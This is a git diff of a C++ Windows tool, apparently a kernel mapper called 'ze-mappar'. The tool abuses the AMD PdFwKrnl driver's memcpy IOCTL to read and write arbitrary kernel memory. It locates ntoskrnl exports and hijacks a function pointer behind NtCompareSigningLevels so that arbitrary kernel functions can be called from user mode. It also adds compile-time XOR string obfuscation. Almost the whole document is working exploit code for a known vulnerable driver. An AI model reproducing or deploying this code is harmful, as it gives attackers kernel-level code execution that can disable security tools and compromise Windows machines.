diff --git a/source/PdFwKrnl.cpp b/source/PdFwKrnl.cpp index 4ed7c97..7e36b0b 100644 --- a/source/PdFwKrnl.cpp +++ b/source/PdFwKrnl.cpp @@ -1,145 +1,241 @@ -#pragma once - -#include "pdfwkrnl.h" -#include -#include - -_pdfwkrnl::_pdfwkrnl() : hDevice(INVALID_HANDLE_VALUE) {} - -_pdfwkrnl::~_pdfwkrnl() { detach(); } - -bool _pdfwkrnl::attach() { - if (hDevice != INVALID_HANDLE_VALUE) { - return true; - } - - hDevice = CreateFileW(L"\\\\.\\PdFwKrnl", - GENERIC_READ | GENERIC_WRITE, - FILE_SHARE_READ | FILE_SHARE_WRITE, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL); - - return hDevice != INVALID_HANDLE_VALUE; -} - -void _pdfwkrnl::detach() { - if (hDevice != INVALID_HANDLE_VALUE) { - CloseHandle(hDevice); - hDevice = INVALID_HANDLE_VALUE; - } -} - -uint64_t _pdfwkrnl::get_ntoskrnl_base() { - if (hDevice == INVALID_HANDLE_VALUE) { - return 0; - } - - uint64_t base_address = 0; - DWORD CbNeeded = 0; - LPVOID Drivers[1024]{}; - if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) { - base_address = (uint64_t)Drivers[0]; - } - - return base_address; -} - -uint64_t _pdfwkrnl::get_ntoskrnl_export(const char* function) { - uint64_t ntoskrnl_base = get_ntoskrnl_base(); - if (!ntoskrnl_base) - return 0; - - IMAGE_DOS_HEADER dos_headers = read_virtual_memory(ntoskrnl_base); - if (dos_headers.e_magic != IMAGE_DOS_SIGNATURE) - return 0; - - IMAGE_NT_HEADERS nt_headers = read_virtual_memory(ntoskrnl_base + dos_headers.e_lfanew); - - if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { - auto image_export_directory = ntoskrnl_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - - IMAGE_EXPORT_DIRECTORY export_directory = read_virtual_memory(image_export_directory); - - if (export_directory.NumberOfFunctions > 0) { - auto address_of_functions = ntoskrnl_base + export_directory.AddressOfFunctions; - auto address_of_names = ntoskrnl_base + export_directory.AddressOfNames; - auto address_of_name_ordinals = ntoskrnl_base + export_directory.AddressOfNameOrdinals; - - std::vector func_rvas(export_directory.NumberOfFunctions); - std::vector name_rvas(export_directory.NumberOfNames); - std::vector ordinals(export_directory.NumberOfNames); - - if (!read_virtual_memory(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD))) - return -1; - - if (!read_virtual_memory(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD))) - return -1; - - if (!read_virtual_memory(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD))) - return -1; - - for (DWORD i = 0; i < export_directory.NumberOfNames; i++) { - char func_name[256] = { 0 }; - auto name_address = ntoskrnl_base + name_rvas[i]; - - if (!read_virtual_memory(name_address, func_name, sizeof(func_name))) - continue; - - func_name[255] = '\0'; - - auto ordinal = export_directory.Base + ordinals[i]; - auto func_rva = func_rvas[ordinals[i]]; - auto func_address = ntoskrnl_base + func_rva; - - if (!strcmp(func_name, function)) - return func_address; - } - } - } - - return 0; -} - -bool _pdfwkrnl::read_virtual_memory(UINT64 address, void* buffer, ULONG size) { - if (hDevice == INVALID_HANDLE_VALUE || !buffer || !size || !address) { - return false; - } - - PDFW_MEMCPY memcpy_data = { 0 }; - memcpy_data.Destination = buffer; - memcpy_data.Source = (PVOID)address; - memcpy_data.Size = size; - - DWORD bytes_returned; - return DeviceIoControl(hDevice, - IOCTL_AMDPDFW_MEMCPY, - &memcpy_data, - sizeof(PDFW_MEMCPY), - &memcpy_data, - sizeof(PDFW_MEMCPY), - &bytes_returned, - NULL) != 0; -} - -bool _pdfwkrnl::write_virtual_memory(UINT64 address, void* buffer, ULONG size) { - if (hDevice == INVALID_HANDLE_VALUE || !buffer || !size || !address) { - return false; - } - - PDFW_MEMCPY memcpy_data = { 0 }; - memcpy_data.Destination = (PVOID)address; - memcpy_data.Source = buffer; - memcpy_data.Size = size; - - DWORD bytes_returned; - return DeviceIoControl(hDevice, - IOCTL_AMDPDFW_MEMCPY, - &memcpy_data, - sizeof(PDFW_MEMCPY), - &memcpy_data, - sizeof(PDFW_MEMCPY), - &bytes_returned, - NULL) != 0; +#include "pdfwkrnl.h" + +bool pdfwkrnl::attach() { + if(driver_handle) { + CloseHandle(driver_handle); + driver_handle = nullptr; + } + + driver_handle = CreateFileA(driver_symbolic_link.decrypt(), + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + if(!driver_handle || driver_handle == INVALID_HANDLE_VALUE){ + return false; + } + + return true; +} + +bool pdfwkrnl::detach() { + if(driver_handle) { + HANDLE temp_handle = driver_handle; + driver_handle = nullptr; + return CloseHandle(temp_handle); + } + + return false; +} + +bool pdfwkrnl::read(uint64_t _Address, void* _Buffer, size_t Size) { + if (driver_handle == INVALID_HANDLE_VALUE || !_Buffer || !Size || !_Address) + return false; + + structure::PDFW_MEMCPY memcpy_data = { 0 }; + memcpy_data.Destination = (PVOID)_Buffer; + memcpy_data.Source = (void*)_Address; + memcpy_data.Size = Size; + + DWORD bytes_returned; + return DeviceIoControl(driver_handle, + driver_memcpy, + &memcpy_data, + sizeof(structure::PDFW_MEMCPY), + &memcpy_data, + sizeof(structure::PDFW_MEMCPY), + &bytes_returned, + NULL) != 0; +} + +bool pdfwkrnl::write(uint64_t _Address, void* _Buffer, size_t Size) { + if (driver_handle == INVALID_HANDLE_VALUE || !_Buffer || !Size || !_Address) + return false; + + structure::PDFW_MEMCPY memcpy_data = { 0 }; + memcpy_data.Destination = (PVOID)_Address; + memcpy_data.Source = _Buffer; + memcpy_data.Size = Size; + + DWORD bytes_returned; + return DeviceIoControl(driver_handle, + driver_memcpy, + &memcpy_data, + sizeof(structure::PDFW_MEMCPY), + &memcpy_data, + sizeof(structure::PDFW_MEMCPY), + &bytes_returned, + NULL) != 0; +} + +uint64_t pdfwkrnl::get_kernel_base() { + uint64_t kernel_base = 0; + + DWORD CbNeeded = 0; + LPVOID Drivers[1024]{}; + + if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) { + for (DWORD i = 0; i < (CbNeeded / sizeof(LPVOID)); i++) { + char szDriverName[MAX_PATH]{}; + if (GetDeviceDriverBaseNameA(Drivers[i], szDriverName, sizeof(szDriverName))) { + if (strcmp(szDriverName, STR("ntoskrnl.exe").decrypt()) == 0) { + kernel_base = reinterpret_cast(Drivers[i]); + break; + } + } + } + } + + return kernel_base; +} + +uint64_t pdfwkrnl::get_kernel_base(const char* module_name) { + uint64_t kernel_base = 0; + + DWORD CbNeeded = 0; + LPVOID Drivers[1024]{}; + + if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) { + for (DWORD i = 0; i < (CbNeeded / sizeof(LPVOID)); i++) { + char szDriverName[MAX_PATH]{}; + if (GetDeviceDriverBaseNameA(Drivers[i], szDriverName, sizeof(szDriverName))) { + if (strcmp(szDriverName, module_name) == 0) { + kernel_base = reinterpret_cast(Drivers[i]); + break; + } + } + } + } + + return kernel_base; +} + +uint64_t pdfwkrnl::get_kernel_export(const char* export_name) { + uint64_t kernel_base = get_kernel_base(); + if (!kernel_base) + return 0; + + uint64_t export_address = 0; + + IMAGE_DOS_HEADER dos_header = read(kernel_base); + if(dos_header.e_magic != IMAGE_DOS_SIGNATURE) + return 0; + + IMAGE_NT_HEADERS64 nt_headers = read(kernel_base + dos_header.e_lfanew); + if(nt_headers.Signature != IMAGE_NT_SIGNATURE) + return 0; + + if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { + IMAGE_EXPORT_DIRECTORY export_directory = read(kernel_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + if (export_directory.NumberOfFunctions > 0) { + auto address_of_functions = kernel_base + export_directory.AddressOfFunctions; + auto address_of_names = kernel_base + export_directory.AddressOfNames; + auto address_of_name_ordinals = kernel_base + export_directory.AddressOfNameOrdinals; + + std::vector func_rvas(export_directory.NumberOfFunctions); + std::vector name_rvas(export_directory.NumberOfNames); + std::vector ordinals(export_directory.NumberOfNames); + + if (!read(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD))) + return 0; + + if (!read(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD))) + return 0; + + if (!read(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD))) + return 0; + + for (DWORD i = 0; i < export_directory.NumberOfNames; i++) { + char func_name[MAX_PATH] = { 0 }; + auto name_address = kernel_base + name_rvas[i]; + + if (!read(name_address, func_name, sizeof(func_name))) + continue; + + func_name[MAX_PATH - 1] = '\0'; + + auto ordinal = export_directory.Base + ordinals[i]; + auto func_rva = func_rvas[ordinals[i]]; + auto func_address = kernel_base + func_rva; + + if (!strcmp(func_name, export_name)) + return func_address; + } + + } + else + return 0; + } + else { + return 0; + } + + return 0; +} + +uint64_t pdfwkrnl::get_kernel_export(const char* module_name, const char* export_name) { + uint64_t kernel_base = get_kernel_base(module_name); + if (!kernel_base) + return 0; + + uint64_t export_address = 0; + + IMAGE_DOS_HEADER dos_header = read(kernel_base); + if (dos_header.e_magic != IMAGE_DOS_SIGNATURE) + return 0; + + IMAGE_NT_HEADERS64 nt_headers = read(kernel_base + dos_header.e_lfanew); + if (nt_headers.Signature != IMAGE_NT_SIGNATURE) + return 0; + + if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { + IMAGE_EXPORT_DIRECTORY export_directory = read(kernel_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + if (export_directory.NumberOfFunctions > 0) { + auto address_of_functions = kernel_base + export_directory.AddressOfFunctions; + auto address_of_names = kernel_base + export_directory.AddressOfNames; + auto address_of_name_ordinals = kernel_base + export_directory.AddressOfNameOrdinals; + + std::vector func_rvas(export_directory.NumberOfFunctions); + std::vector name_rvas(export_directory.NumberOfNames); + std::vector ordinals(export_directory.NumberOfNames); + + if (!read(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD))) + return 0; + + if (!read(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD))) + return 0; + + if (!read(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD))) + return 0; + + for (DWORD i = 0; i < export_directory.NumberOfNames; i++) { + char func_name[MAX_PATH] = { 0 }; + auto name_address = kernel_base + name_rvas[i]; + + if (!read(name_address, func_name, sizeof(func_name))) + continue; + + func_name[MAX_PATH - 1] = '\0'; + + auto ordinal = export_directory.Base + ordinals[i]; + auto func_rva = func_rvas[ordinals[i]]; + auto func_address = kernel_base + func_rva; + + if (!strcmp(func_name, export_name)) + return func_address; + } + + } + else + return 0; + } + else { + return 0; + } + + return 0; } \ No newline at end of file diff --git a/source/PdFwKrnl.h b/source/PdFwKrnl.h index ae58ac6..d997232 100644 --- a/source/PdFwKrnl.h +++ b/source/PdFwKrnl.h @@ -8,36 +8,105 @@ #include #include #include +#include "skCrypter.hpp" -const ULONG IOCTL_AMDPDFW_MEMCPY = CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS); +namespace pdfwkrnl { + namespace structure { + struct PDFW_MEMCPY { + BYTE Reserved[16]; + PVOID Destination; + PVOID Source; + PVOID Reserved2; + DWORD Size; + DWORD Reserved3; + }; +} + static auto driver_symbolic_link = STR("\\\\.\\PdFwKrnl"); + const ULONG driver_memcpy = CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS); + static HANDLE driver_handle = nullptr; -typedef struct _PDFW_MEMCPY { - BYTE Reserved[16]; - PVOID Destination; - PVOID Source; - PVOID Reserved2; - DWORD Size; - DWORD Reserved3; -} PDFW_MEMCPY, * PPDFW_MEMCPY; - -inline class _pdfwkrnl { -private: - HANDLE hDevice; - -public: - _pdfwkrnl(); - ~_pdfwkrnl(); bool attach(); - void detach(); - uint64_t get_ntoskrnl_base(); - uint64_t get_ntoskrnl_export(const char* function); - bool read_virtual_memory(UINT64 address, void* buffer, ULONG size); - bool write_virtual_memory(UINT64 address, void* buffer, ULONG size); + bool detach(); + + bool read(uint64_t _Address, void* _Buffer, size_t Size); + bool write(uint64_t _Address, void* _Buffer, size_t Size); template - T read_virtual_memory(UINT64 address) { + T read(UINT64 address) { T buffer{}; - read_virtual_memory(address, &buffer, sizeof(T)); + read(address, &buffer, sizeof(T)); return buffer; } -}pdfwkrnl; \ No newline at end of file + + uint64_t get_kernel_base(); + uint64_t get_kernel_base(const char* module_name); + uint64_t get_kernel_export(const char* export_name); + uint64_t get_kernel_export(const char* module_name, const char* export_name); + + template + T call_kernel_function(uint64_t function_address, Args... args) { + if (!function_address) + return T{}; + + uint64_t kernel_base = get_kernel_base(); + if (!kernel_base) + return T{}; + + HMODULE m_ntdll = GetModuleHandleW(STR(L"ntdll.dll")); + if (!m_ntdll) + return T{}; + + FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, STR("NtCompareSigningLevels")); + if (!NtCompareSigningLevels) + return T{}; + + uint64_t kernel_NtCompareSigningLevels = get_kernel_export(STR("NtCompareSigningLevels")); + if (!kernel_NtCompareSigningLevels) + return T{}; + + BYTE bytes[32]; + if (!read(kernel_NtCompareSigningLevels, bytes, sizeof(bytes))) + return T{}; + + uint64_t qword_swap = kernel_base + 0xC1DA00; + + if (bytes[4] == 0x4C && bytes[5] == 0x8B && bytes[6] == 0x05) { + int32_t displacement; + memcpy(&displacement, &bytes[7], sizeof(int32_t)); + uint64_t rip = kernel_NtCompareSigningLevels + 0xB; + uint64_t function_pointer_addr = rip + displacement; + if (function_pointer_addr) { + qword_swap = function_pointer_addr; + } + else { + return T{}; + } + + } + + uint64_t qword_original = 0; + + if (!read(qword_swap, &qword_original, sizeof(uint64_t))) + return T{}; + + if (!write(qword_swap, &function_address, sizeof(uint64_t))) + return T{}; + + + if constexpr (std::is_void_v) { + auto function = reinterpret_cast(NtCompareSigningLevels); + function(args...); + write(qword_swap, &qword_original, sizeof(uint64_t)); + return T{}; + } + else { + using function_t = T(__stdcall*)(Args...); + auto function = reinterpret_cast(NtCompareSigningLevels); + T return_value = function(args...); + write(qword_swap, &qword_original, sizeof(uint64_t)); + return return_value; + } + + return T{}; + } +} \ No newline at end of file diff --git a/source/entry.cpp b/source/entry.cpp index 411b752..ef4070e 100644 --- a/source/entry.cpp +++ b/source/entry.cpp @@ -1,54 +1,16 @@ #include "PdFwKrnl.h" -template -T call_kernel_function(const char* function_name, Args... args){ - - uint64_t ntoskrnl_base = pdfwkrnl.get_ntoskrnl_base(); - if (!ntoskrnl_base) - return T{}; - - uint64_t function_address = pdfwkrnl.get_ntoskrnl_export(function_name); - if (!function_address) - return T{}; - - uint64_t qword_swap = ntoskrnl_base + 0xC1DA00; - uint64_t qword_original = 0; - - if (!pdfwkrnl.read_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t))) - return T{}; - - if (!pdfwkrnl.write_virtual_memory(qword_swap, &function_address, sizeof(uint64_t))) - return T{}; - - HMODULE m_ntdll = GetModuleHandleA("ntdll.dll"); - if (!m_ntdll) - return T{}; - - FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, "NtCompareSigningLevels"); - - using FuncPtr = T(__stdcall*)(Args...); - if constexpr (std::is_void_v) { - auto func = reinterpret_cast(NtCompareSigningLevels); - func(args...); - pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back - return T{}; - } - else { - auto func = reinterpret_cast(NtCompareSigningLevels); - T return_value = func(args...); - pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back - return return_value; - } -} - -int main() { - if (!pdfwkrnl.attach()) +int main(void) { + if (!pdfwkrnl::attach()) { + printf(STR("failed to attach to driver \n")); return -1; + } - printf("attached to kernel\n"); + // a ntstatus of STATUS_INVALID_IMAGE_HASH or 0xC0000428 will always be returned as NtCompareSigningLevels always returns it if returned value by the called function is not equal then 0. + pdfwkrnl::call_kernel_function(pdfwkrnl::get_kernel_export("DbgPrint"), "hello from pdfwkrnl!\n"); - call_kernel_function("DbgPrint", "called kernel function"); - - pdfwkrnl.detach(); - return 0; -} + if (!pdfwkrnl::detach()) { + printf(STR("failed to detach from driver \n")); + return -1; + } +} \ No newline at end of file diff --git a/source/skCrypter.hpp b/source/skCrypter.hpp new file mode 100644 index 0000000..f7f315d --- /dev/null +++ b/source/skCrypter.hpp @@ -0,0 +1,87 @@ +#pragma once + +#include + +namespace skc +{ + template + using clean_type = typename std::remove_const_t>; + + template + class skCrypter + { + public: + __forceinline constexpr skCrypter(T* data) + { + crypt(data); + } + + __forceinline T* get() + { + return _storage; + } + + __forceinline int size() // (w)char count + { + return _size; + } + + __forceinline char key() + { + return _key1; + } + + __forceinline T* encrypt() + { + if (!isEncrypted()) + crypt(_storage); + + return _storage; + } + + __forceinline T* decrypt() + { + if (isEncrypted()) + crypt(_storage); + + return _storage; + } + + __forceinline bool isEncrypted() + { + return _storage[_size - 1] != 0; + } + + __forceinline void clear() // set full storage to 0 + { + for (int i = 0; i < _size; i++) + { + _storage[i] = 0; + } + } + + __forceinline operator T* () + { + decrypt(); + + return _storage; + } + + private: + __forceinline constexpr void crypt(T* data) + { + for (int i = 0; i < _size; i++) + { + _storage[i] = data[i] ^ (_key1 + i % (1 + _key2)); + } + } + + T _storage[_size]{}; + }; +} + +#define STR(str) STR_KEY(str, __TIME__[4], __TIME__[7]) +#define STR_KEY(str, key1, key2) []() { \ + constexpr static auto crypted = skc::skCrypter \ + >((skc::clean_type*)str); \ + return crypted; }() \ No newline at end of file diff --git a/source/ze-mappar.vcxproj b/source/ze-mappar.vcxproj index edabc83..a1ac713 100644 --- a/source/ze-mappar.vcxproj +++ b/source/ze-mappar.vcxproj @@ -134,6 +134,7 @@ + diff --git a/source/ze-mappar.vcxproj.filters b/source/ze-mappar.vcxproj.filters index 1eaa489..4a09f2c 100644 --- a/source/ze-mappar.vcxproj.filters +++ b/source/ze-mappar.vcxproj.filters @@ -18,6 +18,9 @@ Header Files + + Header Files +